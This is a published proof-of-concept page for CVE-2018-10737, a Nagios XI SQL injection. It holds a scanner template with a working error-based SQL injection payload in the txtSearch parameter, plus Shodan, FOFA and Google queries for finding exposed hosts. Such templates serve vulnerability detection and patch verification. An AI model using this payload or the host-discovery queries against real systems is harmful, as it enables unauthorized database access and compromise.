CVE-2018-10737: NagiosXI <= 5.4.12 logbook.php SQL injection

2025-08-01 NagiosXI PoC Public

Description

A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/logbook.php txtSearch parameter.

PoC

id: CVE-2018-10737

info:
  name: NagiosXI <= 5.4.12 logbook.php SQL injection
  author: DhiyaneshDK
  severity: high
  description: |
    A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/logbook.php txtSearch parameter.
  impact: |
    Authenticated administrators can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Nagios XI instance.
  remediation: |
    Upgrade to Nagios XI version 5.4.13 or later.
  reference:
    - https://vulners.com/seebug/SSV:97267
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10737
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2018-10737
    cwe-id: CWE-89
    epss-score: 0.42556
    epss-percentile: 0.98636
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - app="Nagios-XI"
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2018,nagios,sqli,vkev,vuln
variables:
  num: "{{rand_int(2000000000, 2100000000)}}"

http:
  - raw:
      - |
        POST /nagiosql/admin/logbook.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        txtSearch=' and (select 1 from(select count(*),concat((select (select (select md5({{num}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
# digest: 490a004630440220035a63688bd36d00e9a563c04e326144258240ceb5e40fd5f406efdab6655c3502202fcfc4f3348beaab7454c39715650e34e97899698b4cbc6e3aca77f7b3ecb99c:922c64590222798bb761d5b6d8e72950

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